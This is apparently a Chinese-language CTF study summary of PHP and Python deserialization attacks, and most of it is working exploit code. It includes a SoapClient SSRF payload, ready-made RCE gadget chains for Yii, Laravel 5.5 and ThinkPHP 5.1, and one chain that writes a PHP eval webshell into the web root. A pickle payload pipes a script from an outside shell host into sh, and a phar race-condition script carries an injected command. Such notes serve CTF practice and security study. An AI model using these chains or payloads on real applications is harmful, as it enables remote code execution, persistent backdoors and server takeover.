ctfshow-PHP反序列化总结
绕过匹配O:\d
可以将O:8
替换为O:+8
原生类的SSRF
<?php
$payload = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null, array('uri'=>'http://127.0.0.1:80/', 'location'=>'http://127.0.0.1:80/flag.php','user_agent'=>$payload));
echo urlencode(serialize($client));
?>
绕过 __wakeup()
PHP > 7.4
若出现__unserialize()
函数,则会自动绕过__wakeup()
PHP < 5.6
CVE
反序列化变量逃逸
原理
在序列化一个类后,替换其字符串导致长度不一致,如
<?php
class Cmessage{
public $username="admin";
public $password="hello";
public $isVIP = 0;
}
function filter($s){
return str_replace("admin", "hacker", $s);
}
$u = new Cmessage();
$u_ser = serialize($u);
$u_s = filter($u_ser);
echo $u_s;
?>
结果为O:8:"Cmessage":3:{s:8:"username";s:5:"hacker";s:8:"password";s:5:"hello";s:5:"isVIP";i:0;}
改动被替换的admin
为hacker
导致长度不变但字符确实多了一个,所以生成足够多的字符可以逃逸指定的字符串。
Session的序列化与反序列化
介绍
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中的session_start的时候会读取session,从而进行反序列化。
三种处理器
php_binary
键名的长度对应的ascii字符+键名+经过serialize()函数序列化的值
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
结果为:
(EOT)names:6:"spoock";
由于name长度为4,对应的ascii码值为EOT,故无法显示
php(默认)
键名+竖线(|)+经过serialize()函数处理过的值
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
结果为:
name|s:6:"spoock";
php_serialize
经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
结果为:
a:1:{s:4:"name";s:6:"spoock";}
绕过强等于
...
$this->token===$this->password;
...
使用引用,即
$password=&$this->token;
抛出异常的同时执行销毁方法
破坏反序列化结构
YII反序列化链
https://blog.csdn.net/liubi32326/article/details/120755987
第一种绕过思路(__call)
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[new IndexAction,"run"];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace {
$exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
第二种绕过思路
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct()
{
$this->writeCallback=[(new IndexAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new DbSession();
}
}
}
namespace {
$exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}
?>
__wakeup方法
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Symfony\Component\String{
use yii\rest\IndexAction;
class LazyString{
private $value;
public function __construct()
{
$this->value=[new IndexAction,"run"];
}
}
class UnicodeString{
protected $string = '';
public function __construct()
{
$this->string=new LazyString;
}
}
}
namespace {
$exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}
第四条链子
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
Laravel 5.5反序列化链子
第一条
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:14:15
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array("tac /flag"),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
第二条
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events,$event)
{
$this->events =$events;
$this->event=$event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [''=>'system'];
}
}
namespace{
$b = new Illuminate\Validation\Validator();
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
echo urlencode(serialize($a));
}
第三条
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
function __construct($events)
{
$this->events = $events;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['nice' => $function];
$this->defaultChannel = 'nice';
}
}
}
namespace{
$b = new Illuminate\Notifications\ChannelManager('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b);
echo base64_encode(serialize($a));
}
第四条
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo urlencode(serialize($a));
}
ThinkPHP 5.1 反序列化链
第一条链子
<?php
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $append = ['4ut15m'=>[]];
public function __construct($cmd){
$this->relation = false;
$this->data = ['4ut15m'=>$cmd]; //任意值,value
$this->withAttr = ['4ut15m'=>'system'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct($cmd){
$this->files = [new Pivot($cmd)]; //Conversion类
}
}
$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";
?>
Python反序列化
import os
import pickle
import base64
class shell():
def __reduce__(self):
return (os.system, ('curl https://your-shell.com/101.35.221.145:8889 | sh',))
a = shell()
serialize_a = pickle.dumps(a)
print(base64.b64encode(serialize_a))
# unserialize_a = pickle.loads(serialize_a)
phar包
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 23:17:44
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 00:52:57
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
python
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-06 00:54:43
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 01:05:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
import threading
success = False
# 读取phar包内容
def getPhar(phar):
with open(phar, 'rb') as p:
return p.read()
# 写入phar包内容
def writePhar(url, data):
print('writing...')
requests.post(url, data)
# 触发unlink的phar反序列化
def unlinkPhar(url, data):
global success
print('unlinking...')
res = requests.post(url, data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = 'http://d7f6fa25-4c7a-4ca3-b085-cd8ff44036b8.challenge.ctf.show/'
phar = getPhar('phar.phar')
while success is False:
time.sleep(0.3)
w = threading.Thread(target=writePhar, args=(url + '?fn=p.phar', phar))
u = threading.Thread(target=unlinkPhar, args=(url + '?fn=phar://p.phar/test', ''))
w.start()
u.start()
if __name__ == '__main__':
main()